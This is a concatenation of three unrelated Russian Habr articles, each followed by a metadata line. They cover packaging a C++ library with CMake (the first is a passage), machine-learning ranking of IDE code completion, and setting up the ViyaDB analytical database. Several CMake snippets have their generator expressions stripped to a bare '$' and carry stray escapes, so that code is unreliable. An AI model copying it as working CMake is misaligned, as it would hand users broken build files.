Я предпочитаю использовать отдельную переменную для хранения публичных заголовков, потому что это лучше отражает разницу между этими файлами и может использоваться потом при создании install-таргета (см. ниже). Функция `source_group` заставляет CMake сгенерировать такую же структуру директорий в IDE, как и в самом репозитории библиотеки.
Таргет библиотеки
-----------------
Теперь все готово для того, чтобы проинициализировать таргет библиотеки, который мы создали в самом начале. Делается это с помощью следующих команд:
```
include(CMakePackageConfigHelpers)
target_sources(mylib PRIVATE ${sources})
target_compile_definitions(mylib
PUBLIC
"$<$>:MYLIB\_STATIC\_DEFINE")
target\_include\_directories(mylib
PUBLIC
"$"
"$"
"$"
PRIVATE
"${CMAKE\_CURRENT\_SOURCE\_DIR}/src")
set\_target\_properties(mylib PROPERTIES
PUBLIC\_HEADER "${public\_headers}"
SOVERSION ${PROJECT\_VERSION\_MAJOR}
VERSION ${PROJECT\_VERSION})
```
Пояснения здесь требует, пожалуй, только момент связанный определением `MYLIB_STATIC_DEFINE` для статического таргета. Это нужно, чтобы файл `mylib/export.h` включал файл `mylib/export_static.h`, если используется статическая версия библиотеки, и файл `mylib/export_shared.h` в противном случае.
Обратите также внимание, что мы не пытаемся установить какие-то флаги компиляции или свойства таргета здесь. Как уже говорилось, это в дальнейшем создаст проблемы сторонним разработчикам, которые будут упаковывать вашу библиотеку под свою платформу. Например, во многих библиотеках, которые могут собираться под Windows, в свойствах таргета библиотеки часто указываются `\_POSTFIX`, чтобы бинарные файлы библиотеки, собранные под разные конфигурации (static/shared, debug/release), получали разные имена и могли устанавливаться в одну директорию. Если это сделать в `CMakeLists.txt` библиотеки, отказаться от выбранной разработчиком схемы будет проблематично. Вместо этого, постфиксы можно задать на этапе конфигурирования проекта с помощью переменных `CMAKE_\_POSTFIX`, указанных явно в командной строке или в пресете (preset), о которых мы поговорим позже.
Install-таргет библиотеки
-------------------------
Поскольку мы держим в уме тот факт, что библиотека может собираться как подпроект, мы предоставляем специальную переменную `MYLIB_INSTALL`, с помощью которой можно отключить генерацию install-таргета. Кроме того, самому CMake также можно указать, чтобы он не генерировал таргет для `install` команд с помощью переменной `CMAKE_SKIP_INSTALL_RULES`. По этой причине, код для создания install-таргета помещен внутрь условия:
```
if(MYLIB_INSTALL AND NOT CMAKE_SKIP_INSTALL_RULES)
...
endif()
```
Сам код для создания install-таргета имеет такой вид:
```
configure_package_config_file(cmake/mylib-config.cmake.in mylib-config.cmake
INSTALL_DESTINATION "${MYLIB_INSTALL_CMAKEDIR}")
write_basic_package_version_file(mylib-config-version.cmake
COMPATIBILITY SameMajorVersion)
install(TARGETS mylib EXPORT mylib_export
RUNTIME COMPONENT mylib
LIBRARY COMPONENT mylib NAMELINK_COMPONENT mylib-dev
ARCHIVE COMPONENT mylib-dev
PUBLIC_HEADER COMPONENT mylib-dev
DESTINATION "${CMAKE_INSTALL_INCLUDEDIR}/mylib")
set(targets_file "mylib-shared-targets.cmake")
if(NOT BUILD_SHARED_LIBS)
set(targets_file "mylib-static-targets.cmake")
endif()
install(EXPORT mylib_export
COMPONENT mylib-dev
FILE "${targets_file}"
DESTINATION "${MYLIB_INSTALL_CMAKEDIR}"
NAMESPACE mylib::)
install(FILES
"${CMAKE_CURRENT_BINARY_DIR}/mylib-config.cmake"
"${CMAKE_CURRENT_BINARY_DIR}/mylib-config-version.cmake"
COMPONENT mylib-dev
DESTINATION "${MYLIB_INSTALL_CMAKEDIR}")
```
В этом коде все достаточно традиционно, отмечу лишь, что в команде `install(TARGETS)` пути, куда нужно устанавливать основные файлы, можно опустить. В этом случае CMake по умолчанию использует те, которые предоставляются модулем [GnuInstallDirs](https://cmake.org/cmake/help/latest/module/GNUInstallDirs.html) (что правильно, так как их легко переопределить на этапе конфигурации при необходимости).
Кроме того, я рекомендую явно указывать компоненты библиотеки с помощью параметра `COMPONENT`. В любой библиотеке можно выделить как минимум два компонента:
* runtime - то, что нужно, чтобы приложение, использующее библиотеку, в принципе могло запуститься (`so` или `dll` файл); в своих библиотеках я как правило называю этот компонент также, как и саму библиотеку, т.е.
* development - то, что нужно пользователю библиотеки (заголовочные файлы, библиотека импорта, файл конфигурации пакета и т.д.); для этого компонента я использую имя `-dev`
Разделение на компоненты позволяет в дальнейшем выполнять установку только необходимых файлов. Например, следующая инструкция установит только runtime-компонент библиотеки [mylib](https://github.com/pananton/cpp-lib-template):
```
cmake --install . --component mylib
```
Замечу, что файлы с определением импортируемых таргетов имеют разные имена в зависимости от типа сборки библиотеки. Это нужно для того, чтобы иметь возможность устанавливать статическую и динамическую версию библиотеки в одну директорию.
При создании install-таргета под Windows дополнительно указывается, как будут устанавливаться pdb-файлы, нужные для отладки библиотеки:
```
if(MSVC)
set(pdb_file "")
set(pdb_file_destination "")
if(BUILD_SHARED_LIBS)
set(pdb_file "$")
set(pdb\_file\_destination "${CMAKE\_INSTALL\_BINDIR}")
else()
# TARGET\_PDB\_FILE does not work for pdb file generated by compiler
# during static library build, need to determine it another way
set(pdb\_file "$/$$.pdb")
set(pdb\_file\_destination "${CMAKE\_INSTALL\_LIBDIR}")
endif()
install(FILES "${pdb\_file}"
COMPONENT mylib-dev
CONFIGURATIONS Debug RelWithDebInfo
DESTINATION "${pdb\_file\_destination}"
OPTIONAL)
endif()
```
Здесь нужно учесть один момент. Дело в том, что msvc при компиляции генерирует pdb-файл для каждого объектного файла `.obj`(compiler pdb-файл), а потом компоновщик объединяет их в один pdb-файл (linker pdb-файл) для итогового исполняемого файла (например, `.dll`). Когда вы собираете статическую библиотеку (которая по сути своей является таким же объектным файлом), компоновщик не вызывается вообще, только компилятор, который создает compiler pdb-файл.
CMake предоставляет простой способ получить linker pdb-файл: выражение-генератор `TARGET_PDB_FILE`. К сожалению, с помощью него вы не сможете получить compiler pdb-файл, когда собираете статическую версию библиотеки. В качестве хоть какого-то варианта решения этой проблемы, я предполагаю, что compiler pdb-файл лежит по тому же пути, что и статическая библиотека и имеет то же имя. Тем не менее, это не обязательно должно быть так, поэтому команда для установки pdb-файлов отмечена как `OPTIONAL`. Если вы можете предложить лучший вариант для обработки compiler pdb-файлов, поделитесь им в комментариях.
Файл конфигурации пакета
------------------------
Файл конфигурации пакета предоставляется разработчиком библиотеки (я обычно помещаю его в директорию `cmake`) и устанавливается в одну директорию с файлами, сгенерированными командой `install(EXPORT)` и содержащими определения импортированных таргетов библиотеки (`mylib-shared-targets.cmake` и `mylib-static-targets.cmake`). В этом файле как правило делаются две вещи:
* включается `mylib-shared-targets.cmake` или `mylib-static-targets.cmake`
* с помощью `find_dependency` находятся все зависимости импортированного таргета
Наша тривиальная библиотека ни от чего не зависит, поэтому ее файл конфигурации имеет такой вид:
```
macro(import_targets type)
if(NOT EXISTS "${CMAKE_CURRENT_LIST_DIR}/mylib-${type}-targets.cmake")
set(${CMAKE_FIND_PACKAGE_NAME}_NOT_FOUND_MESSAGE
"mylib ${type} libraries were requested but not found")
set(${CMAKE_FIND_PACKAGE_NAME}_FOUND OFF)
return()
endif()
include("${CMAKE_CURRENT_LIST_DIR}/mylib-${type}-targets.cmake")
endmacro()
if(NOT TARGET mylib::mylib)
set(type "")
if(DEFINED MYLIB_SHARED_LIBS)
if(MYLIB_SHARED_LIBS)
set(type "shared")
else()
set(type "static")
endif()
elseif(BUILD_SHARED_LIBS AND
EXISTS "${CMAKE_CURRENT_LIST_DIR}/mylib-shared-targets.cmake")
set(type "shared")
elseif(EXISTS "${CMAKE_CURRENT_LIST_DIR}/mylib-static-targets.cmake")
set(type "static")
else()
set(type "shared")
endif()
import_targets(${type})
check_required_components(mylib)
message("-- Found ${type} mylib (version ${${CMAKE_FIND_PACKAGE_NAME}_VERSION})")
endif()
```
Единственное, что заслуживает в нем внимания, это простой алгоритм, по которому определяется, какой таргет (для статической или динамической версии библиотеки) импортировать. Вкратце алгоритм можно описать так: `MYLIB_SHARED_LIBS` > `BUILD_SHARED_LIBS` > static > shared.
Другие таргеты
--------------
Большинство проектов C++ библиотек содержат примеры использования и тесты. Как правило эти компоненты размещаются в отдельных директориях (обычно `/examples` и `/tests`), в которые я рекомендую поместить `CMakeLists.txt` для их сборки, чтобы не засорять основной `CMakeLists.txt` в корне библиотеки. В основной `CMakeLists.txt` остается добавить лишь вызов add\_subdirectory для нужных директорий:
```
if(MYLIB_BUILD_TESTS)
enable_testing()
add_subdirectory(tests)
endif()
if(MYLIB_BUILD_EXAMPLES)
add_subdirectory(examples)
endif()
```
Таргет для тестов
-----------------
Я считаю полезным, когда с тестами библиотеки можно работать не только как с частью библиотеки, но и как с самостоятельным проектом. Например, это позволяет легко собрать тесты для экземпляра библиотеки, установленного где-то в системе. Поэтому файл `tests/CMakeLists.txt` начинается с определения проекта для тестов, а также содержит опциональный вызов `enable_testing` и `find_package(mylib)`, если тесты собираются как stand-alone проект:
```
cmake_minimum_required(VERSION 3.14)
project(mylib-tests)
include("../cmake/utils.cmake")
string(COMPARE EQUAL "${CMAKE_SOURCE_DIR}" "${CMAKE_CURRENT_SOURCE_DIR}"
is_top_level)
if(is_top_level)
enable_testing()
find_package(mylib REQUIRED)
endif()
```
Я использую [googletest](https://github.com/google/googletest), который предпочитаю подключать с помощью CMake модуля FetchContent. Документация googletest содержит подробные [инструкции](https://github.com/google/googletest/blob/main/googletest/README.md#incorporating-into-an-existing-cmake-project) как это сделать, поэтому я не буду останавливаться на этом в своем руководстве (тем более, что вы возможно используете другой фреймворк).
Само определение таргета для тестов тривиально и следует тем же принципам, что и определение таргета библиотеки (замечу, что `gtest_main` это библиотека фреймворка [googletest](https://github.com/google/googletest)):
```
set(sources
add_test.cpp)
source_group(TREE "${CMAKE_CURRENT_SOURCE_DIR}" FILES ${sources})
add_executable(mylib-tests)
target_sources(mylib-tests PRIVATE ${sources})
target_link_libraries(mylib-tests
PRIVATE
mylib::mylib
gtest_main)
```
В Unix-подобных ОС в бинарном файле есть специальная запись [rpath](https://en.wikipedia.org/wiki/Rpath), в которой можно прописать путь к используемым динамическим библиотекам. Когда вы собираете библиотеку и тесты где-то в своей билд-директории, CMake в исполняемый файл `mylib-tests` добавляет rpath, указывающий на файл библиотеки. Таким образом при запуске `mylib-tests` динамический компоновщик сумеет найти библиотеку `mylib`, несмотря на то, что она не установлена по системному пути и не прописана в переменной среды `PATH`.
К сожалению, в Windows нет аналогичного rpath механизма. Поэтому при сборке тестов для динамической библиотеки возникает проблема с тем, что тесты не запускаются из IDE или с помощью CTest, поскольку DLL-файл библиотеки находится в билд-директории, о которой динамический загрузчик как правило ничего не знает. Чтобы обойти это ограничение, в файле `cmake/utils.cmake` определена функция `win_copy_deps_to_target_dir`, которая копирует dll-файл (а также pdb, если мы собираем дебаг-версию) в директорию с исполняемым файлом `mylib-tests`. В `tests/CMakeLists.txt` эта функция вызывается после определения таргета следующим образом:
```
if(NOT is_top_level)
win_copy_deps_to_target_dir(mylib-tests mylib::mylib)
endif()
```
Замечу, что когда `mylib-tests` собирается как stand-alone проект, я предпочитаю не копировать зависимости в его билд-директорию, поскольку dll-файл может находится в директории, куда не будет доступа на копирование.
Рассмотрим функцию `win_copy_deps_to_target_dir` поподробнее:
```
function(win_copy_deps_to_target_dir target)
if(NOT WIN32)
return()
endif()
set(has_runtime_dll_genex NO)
if(CMAKE_MAJOR_VERSION GREATER 3 OR CMAKE_MINOR_VERSION GREATER_EQUAL 21)
set(has_runtime_dll_genex YES)
add_custom_command(TARGET ${target} POST_BUILD
COMMAND ${CMAKE_COMMAND}
-P "${mylib_SOURCE_DIR}/cmake/silent_copy.cmake"
"$" "$"
COMMAND\_EXPAND\_LISTS)
endif()
foreach(dep ${ARGN})
get\_target\_property(dep\_type ${dep} TYPE)
if(dep\_type STREQUAL "SHARED\_LIBRARY")
if(NOT has\_runtime\_dll\_genex)
add\_custom\_command(TARGET ${target} POST\_BUILD
COMMAND ${CMAKE\_COMMAND}
-P "${mylib\_SOURCE\_DIR}/cmake/silent\_copy.cmake"
"$"
"$"
"$"
COMMAND\_EXPAND\_LISTS)
else()
add\_custom\_command(TARGET ${target} POST\_BUILD
COMMAND ${CMAKE\_COMMAND}
-P "${mylib\_SOURCE\_DIR}/cmake/silent\_copy.cmake"
"$" "$"
COMMAND\_EXPAND\_LISTS)
endif()
endif()
endforeach()
endfunction()
```
Эта функция создает кастомную команду для указанного таргета, которая будет запускаться после его сборки. Собственно копирование выполняется CMake скриптом `cmake/silent_copy.cmake`, который после парсинга своих аргументов вызывает:
```
# парсинг аргументов в переменные 'files' и 'dest'...
execute_process(COMMAND ${CMAKE_COMMAND} -E copy_if_different
${files} "${dest}" ERROR_QUIET)
```
Возможно у вас возникнет вопрос, почему потребовалось вынести конструкцию `${CMAKE_COMMAND} -E copy_if_different` в отдельный скрипт вместо того, чтобы просто указать ее при определении кастомной команды. Дело в том, что в режиме `-E` CMake выдаст ошибку, если список содержит несуществующие файлы. А это может произойти если, например, библиотека собиралась без отладочной информации (т.е. pdb-файл не был сгенерирован). Можно правильно обработать такие ситуации, но мне показалось проще написать скрипт, который просто игнорирует ошибки, связанные с отсутствующими файлами.
Также обратите внимание, что начиная с версии 3.21 CMake предоставляет выражение генератора `TARGET_RUNTIME_DLLS`, которое возвращает абсолютные пути ко всем динамическим библиотекам, от которых зависит таргет (напрямую или транзитивно). Это выражение позволяет значительно упростить использование функции `win_copy_deps_to_target_dir`, поскольку можно не передавать в нее явным образом зависимости таргета - функция сумеет определить их самостоятельно.
В заключение нам остается только сообщить CTest, какие тесты есть в нашем проекте. Для фреймворка googletest это можно выполнить следующим образом:
```
include(GoogleTest)
gtest_discover_tests(mylib-tests)
```
Функция `gtest_discover_tests` определенным образом запускает исполняемый файл `mylib-tests`, чтобы узнать имена всех тестов, которые в нем содержатся (при этом сами тесты на этом этапе не выполняются), а затем интегрировать их в CTest.
Таргеты для примеров
--------------------
Таргеты для примеров библиотеки (в директории `/examples`) как правило отличаются только именами, поэтому достаточно рассмотреть один:
```
cmake_minimum_required(VERSION 3.14)
project(mylib-add LANGUAGES CXX)
include("../../cmake/utils.cmake")
string(COMPARE EQUAL "${CMAKE_SOURCE_DIR}" "${CMAKE_CURRENT_SOURCE_DIR}"
is_top_level)
if(is_top_level)
find_package(mylib REQUIRED)
endif()
set(sources main.cpp)
source_group(TREE "${CMAKE_CURRENT_SOURCE_DIR}" FILES ${sources})
add_executable(mylib-add)
target_sources(mylib-add PRIVATE ${sources})
target_link_libraries(mylib-add PRIVATE mylib::mylib)
if(NOT is_top_level)
win_copy_deps_to_target_dir(mylib-add mylib::mylib)
endif()
```
Как и в случае с тестами, я предпочитаю дать пользователям возможность собирать примеры как отдельные проекты. Кроме того, для удобной отладки примеров под Windows используется знакомая нам по предыдущему разделу функция `win_copy_deps_to_target_dir`.
Пресеты (presets)
-----------------
[Пресеты](https://cmake.org/cmake/help/latest/manual/cmake-presets.7.html) (извините, не подобрал хорошего перевода) являются относительно новой возможностью CMake (появились в CMake 3.19), позволяющей вынести параметры сборки из `CMakeLists.txt`. Как уже говорилось в начале статьи, делать это нужно для того, чтобы ваши проекты без проблем собирались под разные платформы и тулчейны.
Пресет представляет из себя простой json-файл, в котором задаются различные параметры, влияющие на сборку проекта (опции конфигурации, флаги компилятора и т.д.). Существует два типа пресетов:
* `CMakePresets.json` для хранения глобальных настроек - этот файл обычно хранится в репозитории проекта
* `CMakeUserPresets.json` для локальных настроек разработчика - этот файл не нужно хранить в репозитории (у каждого разработчика он как правило свой), и поэтому он указывается в `.gitignore`
Многие IDE (например, [CLion](https://www.jetbrains.com/help/clion/cmake-presets.html)) поддерживают пресеты, позволяя выбирать нужный в своем GUI. Подробнее о пресетах можно почитать в официальной [документации](https://cmake.org/cmake/help/latest/manual/cmake-presets.7.html), здесь я лишь приведу простой пример для библиотеки [mylib](https://github.com/pananton/cpp-lib-template):
```
{
"version": 3,
"cmakeMinimumRequired": {
"major": 3,
"minor": 14,
"patch": 0
},
"configurePresets": [
{
"name": "dev",
"description": "Base preset for library developers",
"binaryDir": "${sourceDir}/build",
"hidden": true,
"cacheVariables": {
"MYLIB_BUILD_TESTS": "ON",
"MYLIB_BUILD_EXAMPLES": "ON"
}
},
{
"name": "dev-win",
"description": "Windows preset for library developers",
"hidden": false,
"inherits": ["dev"],
"cacheVariables": {
"CMAKE_CXX_FLAGS": "/W4 /EHsc /w14242 /w14254 /w14263 /w14265 /w14287 /w14289 /w14296 /w14311 /w14545 /w14546 /w14547 /w14549 /w14555 /w14640 /w14826 /w14928 /WX"
}
},
{
"name": "dev-linux",
"description": "Linux preset for library developers",
"hidden": false,
"inherits": ["dev"],
"cacheVariables": {
"CMAKE_CXX_FLAGS": "-Wall -Wextra -Wpedantic -Wshadow -Wconversion -Wsign-conversion -Wcast-align -Wcast-qual -Wnull-dereference -Woverloaded-virtual -Wformat=2 -Werror"
}
}
]
}
```
Ссылки
------
В заключение приведу некоторые полезные ссылки:
* [cpp-lib-template](https://github.com/pananton/cpp-lib-template) - шаблон для C++/CMake библиотеки, который использовался в качестве примера в этой статье
* [cmake-init](https://github.com/friendlyanon/cmake-init) - "правильный" генератор C++/CMake проектов
* Craig Scott [Deep CMake for Library Authors](https://www.youtube.com/watch?v=m0DwB4OvDXk)
* Robert Schumacher [Don't Package Your Libraries, Write Packagable Libraries!](https://www.youtube.com/watch?v=_5weX5mx8hc)
* Alex Reinking [Building a Dual Shared and Static Library with CMake](https://alexreinking.com/blog/building-a-dual-shared-and-static-library-with-cmake.html)
* Ulrich Drepper [How To Write Shared Libraries](https://www.cs.dartmouth.edu/~sergey/cs258/ABI/UlrichDrepper-How-To-Write-Shared-Libraries.pdf)
* Eli Bendersky [Load-time relocation of shared libraries](https://eli.thegreenplace.net/2011/08/25/load-time-relocation-of-shared-libraries), [Position Independent Code (PIC) in shared libraries](https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/) | https://habr.com/ru/post/683204/ | null | ru | null |
# Code Completion. Часть 2: зачем тут машинное обучение?
> ***«Почему нельзя просто сделать логично? Я не понимаю».***
> Из сообщения об ошибке
>
>
В [первой части](https://habr.com/ru/company/JetBrains/blog/568884/) мы сформулировали, из каких компонентов состоит система автодополнения, обсудили способы ее использования и требования к качеству. Теперь давайте разберемся, зачем там нужно машинное обучение.
Казалось бы, страшно выбрасывать работающий код и заменять его машиннообученным бинарником, который жрет память, может замедлить работу IDE, да еще не вдруг и отладишь его, если что-то пошло не так.
В нашем случае «работающий код» — это эвристики, жесткие правила. Они отлично работают, пока их не очень много и они не конфликтуют между собой. Давайте рассмотрим такие правила подробнее и разберемся, откуда берутся конфликты.
Совпадение префикса
-------------------
Это самая важная эвристика. Если пользователь своими руками напечатал какие-то буквы, видимо, они для него важны. Такие буквы и называются префиксом. Давайте уважать выбор пользователя и показывать ему варианты подсказок, содержащие префикс. Такой подход кажется очевидно верным, но даже в нем есть свои подводные камни.
Подсказки поддерживают CamelCase и lowerCamelCase. То есть вы можете печатать только заглавные буквы токена, а в подсказках он покажется целиком — так называемое CamelCase-совпадение. Многие разработчики этим пользуются, но иногда точное совпадение префикса конфликтует с CamelCase-совпадением, например:
```
static class Benefit {
String getName(){return "Name";}
}
public static void main(String[] args) {
Benefit benefit = new Benefit();
System.out.println(benefit.na| ⇐ caret
}
```
Что здесь можно предложить, кроме `Benefit.getName()`? Оказывается, есть что!
CamelCase-совпадение в начале слова тут взяло верх над точным совпадением в середине, хотя нам понятно, что никто тут `notifyAll()` вызывать не хотел. Некоторые считают, что мы должны вообще игнорировать is/get/set и считать «na» точным совпадением в начале слова для `getName()`, но мы так далеко заходить не будем. Рассмотрим два других аргумента, почему `notifyAll()` не нужно ставить на первое место:
1. Этот метод ничего не возвращает, а аргументом для `println()` должна быть строка. Если оставить как есть, получится некорректный код.
2. Это метод класса `Object` — он определен очень далеко от того места, которое мы сейчас редактируем. При прочих равных лучше предлагать то, что определено ближе.
Разумеется, для обеих этих причин есть правила, которые их формализуют. Давайте об этом поговорим.
Корректность
------------
Мы уже знаем из [первой части](https://habr.com/ru/company/JetBrains/blog/568884/), что корректность важна, но не критична. Писать код, который не компилируется, а потом его рефакторить — нормальная практика. Однако здесь другой случай: вряд ли вы собираетесь как-то рефакторить `notifyAll()`, переданный в качестве параметра в `println()`. К сожалению, мы не смогли написать правила, которые отличают некорректный код от *абсолютно* некорректного. Давайте перейдем ко второму аргументу.
Логическая близость
-------------------
Это действительно вполне рабочий параметр для сортировки подсказок.
С подсказкой можно обращаться по-разному в зависимости от того, насколько близко ее определение находится к тому месту, которое сейчас редактирует пользователь:
* в том же методе (это локальная переменная)
* в том же классе
* в том же файле
* в том же проекте
* в стандартных библиотеках языка
Казалось бы, чем ближе определение к текущему месту, тем лучше. Но всегда есть исключения. Представьте себе, что вы разработчик в JetBrains и пишете редактор для программистов. Вы начинаете печатать «`Color`» и видите такую подсказку. Какой из двух вариантов лучше?
Красно-черные деревья (те самые, которые встречаются только на собеседованиях) в редакторе используются, а java.awt — в последние 20 лет библиотека непопулярная. Но `java.awt.Color` нам нужен гораздо чаще, и здесь мы хотим получить именно его. Что бы такое еще учесть, чтобы он оказался на первой позиции?
1. Можно посчитать и как-то учесть, с какой частотой каждый из вариантов подсказок встречается в проекте.
2. Можно построить транзитивное замыкание (здесь опять нужна шутка про собеседования). Возьмем типы, которые используются в проекте, пройдем по их полям и методам и обогатим предыдущий пункт дополнительной информацией.
3. Можно посчитать частоту использования каждого имени из стандартных библиотек в известных проектах с открытым кодом, написанных на том же языке.
4. Можно вспомнить, какие подсказки пользователь недавно выбирал в похожих ситуациях.
Частота — годный фактор. Но если хочется использовать его в эвристиках, придется подбирать пороговые значения. При каком соотношении частот нужно предпочесть символ из внешней библиотеки тому, который определен внутри проекта?
Что касается недавно выбранных подсказок, то у этого фактора есть свой набор проблем.
Недавно выбранные подсказки
---------------------------
Если нам нужно выбрать из двух вариантов подсказок, а вы в недалеком прошлом в похожей ситуации выбрали один из них, то мы будем ставить этот вариант выше, даже если вы потом несколько раз подряд выберете второй. Мы же хотим, чтобы наши подсказки работали *стабильно*, поэтому порядок будет меняться не слишком часто. С этой стабильностью есть интерфейсная проблема, на которую пользователи время от времени жалуются.
Предположим, мы в первый раз пишем какую-то конструкцию, которую потом собираемся использовать регулярно. И вот в этот первый раз мы промахнулись и случайно выбрали среди подсказок что-то не то. Если сразу не нажать undo, то этот неправильный выбор на некоторое время запомнится и будет настойчиво лезть на высокие позиции.
Кроме того, у разных пользователей разные привычки, и это вносит в сортировку подсказок дополнительный элемент хаоса. Например:
```
Course course1 = new Course();
Course course2 = new Course();
course1.setName("Test1");
cou| ⇐ caret
```
Что отобразить выше: `course1` или `course2`? Одним программистам привычнее продолжить устанавливать атрибуты первого курса. Другие же сначала присвоят имя второму:
```
course2.setName(“Test2”);
```
Конечно, этот пример — искусственный, но реальные проблемы на него похожи.
Давайте посмотрим, от чего еще зависит сортировка подсказок.
Длина
-----
Что не так в этом наборе?
Лирическое отступление: разработчики на Golang говорят, что «Impl» — симптом тяжелого заражения джавой. У себя в проектах они именно так выявляют «заболевших» коллег и как-то их лечат, пока те не заполонили весь репозиторий всякими AbstractFactory.
Но даже в Java, где «Impl» выглядит привычно, от «Impl2» ощущения неприятные. Хотя, наверное, у каждого Java-разработчика хоть раз в жизни было искушение так написать.
Но давайте вернемся к теме комплишенов. Нам никогда (ну, *почти* никогда) не нужно из бизнес-логики вызывать конкретную реализацию. Поэтому в большинстве случаев пользователь выберет название интерфейса или абстрактного класса — их-то и надо вытащить наверх. Этим управляет эвристика, которая называется «lift shorter»: если одно валидное имя является префиксом другого валидного имени, то оно имеет больший приоритет:
Похожая логика применяется и к другим видам токенов, включая имена переменных и названия методов:
Там все не так однозначно, как с именами классов. Но в целом эта логика работает, и нам не нужно писать более сложную. А теперь внезапный поворот сюжета:
```
@Deprecated
public String suggestVariableName() { … }
```
Вы когда-нибудь вызывали упраздненные методы? Мы тоже вызывали. Совсем удалять их из подсказок было бы нехорошо, но и ставить на первое место тоже не хочется.
С именами-префиксами есть еще одна неприятность. В примерах выше совпадения имен не случайны, они все явно относятся к одной области. Но может ведь быть и по-другому. Если у вас в проекте заведется переменная nullableSomething, при попытке к ней обратиться на первом месте в подсказках будет null.
А чтобы его там не было, нам нужно добавить еще логики — чтобы разные типы токенов (ключевые слова, константы, переменные, методы, классы и пр.) обрабатывались по-разному.
Уже видите, куда это ведет?
Машинное обучение
-----------------
В какой-то момент мы поняли, что количество условных операторов в коде сортировки подсказок зашкаливает. Чем дальше, тем сложнее там было что-то поменять. Хуже того, все чаще возникало желание добавить новую галочку в настройки, чтобы пользователь сам решил, насколько ему важен тот или иной фактор. А в настройках, сами знаете, и без нас хватает галочек.
Когда мы осознали, что пишем систему принятия решений со сложной логикой, которую трудно понимать и поддерживать, стало очевидно, что надо эту работу делегировать. Принимать решения, учитывая множество факторов, — как раз та задача, для которой машинное обучения и предназначено.
В следующих статьях цикла мы расскажем, как мы его реализовали и каких результатов добились. | https://habr.com/ru/post/572864/ | null | ru | null |
# ViyaDB: аналитическая база данных для несортированных данных
Примерно год назад, мне довелось работать в одной компании, где я натолкнулся на интересную проблему. Представим себе массивный поток данных об использовании мобильных приложений (десятки миллиардов событий в день), который содержит в себе такую интересную информацию, как дату установки приложения, а также рекламную акцию, которая повлекла за собой эту установку. Имея подобные данные, можно легко разбить пользователей на группы по датам установки и по рекламным акциям, чтобы понять какая из коих была наиболее успешна с точки зрения ROI (return of investment).
Рассмотрим визуальный пример (картинка найдена на просторах интернета):
Как мы видим, пользователи пришедшие с "рекламных щитов" AdWords оказались наиболее лояльными к этому конкретному приложению (продолжали активно пользоваться приложением).
Нет сомнений, что подобные методы невозможно переоценить, когда речь идет о маркетинговой оптимизации, но рассмотрим эту проблему с точки зрения нас — инженеров по работе с данными.
Все запросы такого плана, как правило, заключают в себе условие связанное с датой установки приложения, которая не является временным рядом: в нашем потоке данных присутствуют события как с приложений установленных вчера, так и с приложений установленных 2 года назад. В переводе на язык баз данных, это означает полное сканирование данных начиная с заданной точки и вплоть до текущего времени.
Эволюция решений
----------------
Проблема усугублялась тем, что от выбранного решения требовалась поддержка множества параллельных запросов, поэтому аналитические базы данных не рассчитанные на сотни пользователей, работающих одновременно с аналитической панелью нашей компании, пришлось исключить изначально.
Поначалу, для хранения подобных данных использовался MongoDB, но очень скоро мы достигли пределов этой замечательной БД, как во время запросов, так и во время записи. Можно было, конечно, "расшардировать" все это безобразие, но из-за оперативной сложности шардирования MongoDB было решено попробовать другие решения.
Второй попыткой стал Druid, но так, как эта база данных работает с данными сортированными по времени, то это нам мало чем помогло. На самом деле, если пренебречь информацией, поступающей в реальном времени, и каждый день перестраивать базу сортируя данные по дате установки, то это может работать очень даже неплохо.
Базами данных типа Cassandra, которые требуют построения таблицы "под запрос" также пришлось пренебречь из-за желания поддерживать так называемые ad-hoc запросы, когда список полей запроса может варьироваться от пользователя к пользователю.
В итоге, все закончилось выбором MemSQL — базой данных нового поколения ([NewSQL](https://en.wikipedia.org/wiki/NewSQL)), сочетающей в себе поддержку как OLTP, так и OLAP нагрузок, благодаря современной архитектуре, а также благодаря тому, что данные находятся в памяти. Но, как мы понимаем, идеального решения не существует, а потому оставались две проблемы:
1) Скорость записи оставляла желать лучшего из-за использования WAL (write-ahead log), а нам это не особо-то и нужно было, так, как данные сохранялись на S3, и мы были готовы пожертвовать быстрым восстановлением данных ради огромной скорости записи.
2) Цена
Изобретение колеса
------------------
Тогда и задумалось написать что-нибудь свое, попроще… Например держать вектор последовательных записей статического размера в памяти, обеспечивая тем самым быстрый по ним проход и фильтрацию по заданному критерию. А еще, разбить все это на процессы, и каждому процессу присвоить свою партицию данных. Так родился [ViyaDB](https://github.com/viyadb/viyadb). По сути, это аналитическая база данных, которая держит агрегированные данные в памяти в колоночном формате, что позволяет довольно быстро по ним "пробегать". Запросы транслируются в машинный код, что дает избежать ненужных ветвлений и правильнее использовать кэш процессора, при повторном запросе похожего типа.
Так выглядит архитектура ViyaDB с высоты птичьего полета:
Ниже приведен пример использования этой простенькой базы данных.
Тест драйв
----------
Первым делом устанавливаем [Consul](https://consul.io), который координирует компоненты ViyaDB кластера. Затем, добавляем в Consul необходимую конфигурации кластера.
В ключ "viyadb/clusters/cluster001/config" пишем:
```
{
"replication_factor": 1,
"workers": 32,
"tables": ["events"]
}
```
В ключ "viyadb/tables/events/config" пишем:
```
{
"name": "events",
"dimensions": [
{"name": "app_id"},
{"name": "user_id", "type": "uint"},
{
"name": "event_time", "type": "time",
"format": "millis", "granularity": "day"
},
{"name": "country"},
{"name": "city"},
{"name": "device_type"},
{"name": "device_vendor"},
{"name": "ad_network"},
{"name": "campaign"},
{"name": "site_id"},
{"name": "event_type"},
{"name": "event_name"},
{"name": "organic", "cardinality": 2},
{"name": "days_from_install", "type": "ushort"}
],
"metrics": [
{"name": "revenue" , "type": "double_sum"},
{"name": "users", "type": "bitset", "field": "user_id", "max": 4294967295},
{"name": "count" , "type": "count"}
],
"partitioning": {
"columns": [
"app_id"
]
}
}
```
(последнее значение представляет собой DDL для нашей таблицы)
Устанавливаем ViyaDB на четыре амазоновских машины типа r4.2xlarge (за основу взят Ubuntu Artful образ от Canonical):
```
apt-get update
apt-get install g++-7
update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-7 60 --slave /usr/bin/g++ g++ /usr/bin/g++-7
cd /opt
curl -sS -L https://github.com/viyadb/viyadb/releases/download/v1.0.0-beta/viyadb-1.0.0-beta-linux-x86_64.tgz | tar -zxf -
```
Создаем файл конфигурации на каждой из машин (/etc/viyadb/store.json):
```
{
"supervise": true,
"workers": 8,
"cluster_id": "cluster001",
"consul_url": "http://consul-host:8500",
"state_dir": "/var/lib/viyadb"
}
```
(`consul-host` — адрес машины, на которой установлен Consul)
